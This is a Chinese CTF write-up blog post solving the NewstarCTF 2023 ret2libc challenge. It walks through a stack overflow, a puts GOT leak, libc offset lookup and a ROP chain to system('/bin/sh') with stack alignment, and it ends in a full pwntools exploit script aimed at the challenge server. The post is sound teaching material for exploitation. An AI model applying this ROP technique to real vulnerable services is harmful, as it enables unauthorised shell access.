NewstarCTF 2023 week2 ret2libc详细解析
mango

newstar2023的题,在buu上还可以做,算是我正儿八经做的第一道pwn,太曲折了啊啊啊。

存在pop_rdi_ret的gadget可以利用

在x86_64架构中,函数调用的参数通过寄存器来传递,而不是通过栈来传递。前六个整数或者指针参数是通过rdi,rsi,rdx,rcx,r8,r9这六个寄存器来传递的。如果有更多参数,剩下的参数通过栈传递。

若要使用ROP(Return Oriented Programming)来调用一个函数并且操控参数时,就要找到可以控制这些寄存器的gadget。比如

1
2
3
1. pop rdi;ret
2. pop rsi;popr15;ret (官方wp中使用的)
3. ret

获取pop_rdi_ret的地址

1
ROPgadget --binary /... --only "pop|ret"

image-20240110210815476

然后看一下buf的偏移量

image-20240110211701612

找到偏移为0x20

buf是全局变量,被放在bss段上

在 C 语言中,一个变量是在 BSS 段还是在栈上,主要取决于它的声明位置和存储类别:

  1. 全局变量和静态变量:这些变量通常存储在 BSS 段。BSS 段用于存储程序中未初始化的全局变量和静态变量。
  2. 局部变量和函数参数:这些变量通常存储在栈上。当一个函数被调用时,它的局部变量和参数会被压入栈中。

可以使用objdump -h program//readelf -S program查看bss段的地址(不同环境下bss的地址可能不同)

使用pedavmmap可以查看bss段有无执行权限

整理一下思路,我们可以先把buf塞满(0x20),然后塞rbp(0x8,因为在bss段所以可以直接塞bss的起始位置)。

1
2
3
4
5
6
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, puts_got, puts_plt, main_addr),
)#40=32+8
put_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print(hex(put_addr))

然后因为64位程序的函数的第一个参数在rdi中,因此把栈顶的值弹出到rdi。在x86_64中,调用函数时,函数的第一个参数是通过rdi寄存器传递的。因此使用pop_rdi_ret这个gadget,把它的地址放在原本的return address处,那么程序就会跳转到pop_rdi_ret的地址处执行它。pop_rdi将此时的栈顶数据(puts函数的地址)弹给rdi,然后retplt表的puts处调用puts,那么puts就会找到rdi,打印rdiputs的地址。puts执行之后,将retmain_addr

这样就完成了puts函数地址的泄露,可以用于泄露远程libc的版本。

这里我还另外打了read的地址。查libc版本的时候会准确一点。只有一个地址有时会有很多个版本的libc被检索到。https://libc.rip/

只搜索三个字节(12位)的原因:

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变

image-20240112183625173

这样就得到了libc的版本,可以看到有system/bin/sh的偏移。所以我们计算libc_base,加上偏移得到需要的函数的地址。

1
2
3
libc_base = puts_addr - 0x80970
system_addr = libc_base + 0x04F420
binsh_addr = libc_base + 0x1B3D88

这是手动计算的方法。还有其他两种办法(官方提供的)写在完整代码中了。

现在的目标就是执行system('/bin/sh')了。与上面类似,仍然利用栈溢出构造ROP链。

1
2
bss-->pop_rdi_ret-->binsh_addr-->system_addr--main_addr
(填rbp-->调整参数为'/bin/sh'+ret跳到调用system处-->/bin/sh-->system-->main)

所以可以:

1
2
3
4
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr,system_addr,main_addr),
)

然而这样执行程序崩溃了。为什么呢?

因为在ubuntu18版本以上调用system函数需要栈对齐。

64位的system命令有个movaps指令

Movaps:
movaps XMM,XMM/m128 movaps XMM/128,XMM
把源存储器内容值送入目的寄存器,当有m128时,必须对齐内存16字节,也就是内存地址低4位为0,保证rsp&0xf==0

(调用printf时也需要对齐)

我们加一个ret来栈对齐:

1
2
3
4
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr,ret,system_addr,main_addr),
)

大功告成!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
# p=process('./ret2libc')
p = remote("node5.buuoj.cn", 28657)
elf = ELF("./ret2libc")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x0000000000400763
pop_rsi_r15_ret = 0x0000000000400761
ret = 0x0000000000400506
bss = 0x0000000000601040

p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, puts_got, puts_plt, main_addr),
)#40=32+8
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print(hex(puts_addr)) #read: 0x7f514c91b020 puts:0x7f37fd048970

# libc is provided
# libc_base=read_addr-libc.symbols['read']
# system_addr=libc_base+libc.symbols['system']
# binsh_addr=libc_base+libc.search('/bin/sh').next()

# libcsearcher
# libc = LibcSearcher('read', read_addr)
# libc_base = read_addr - libc.dump('read')
# system_addr = libc_base + libc.dump('system')
# binsh_addr = libc_base + libc.dump('str_bin_sh')

#find by hand
libc_base = puts_addr - 0x80970
system_addr = libc_base + 0x04F420
binsh_addr = libc_base + 0x1B3D88

#offical:
# p.sendafter(
# b"Show me your magic again\n",
# b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr, pop_rsi_r15_ret, 0, 0, system_addr),
# )

#mango:
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr,ret,system_addr,main_addr),
)
p.interactive()
由 Hexo 驱动 & 主题 Keep
访客数 访问量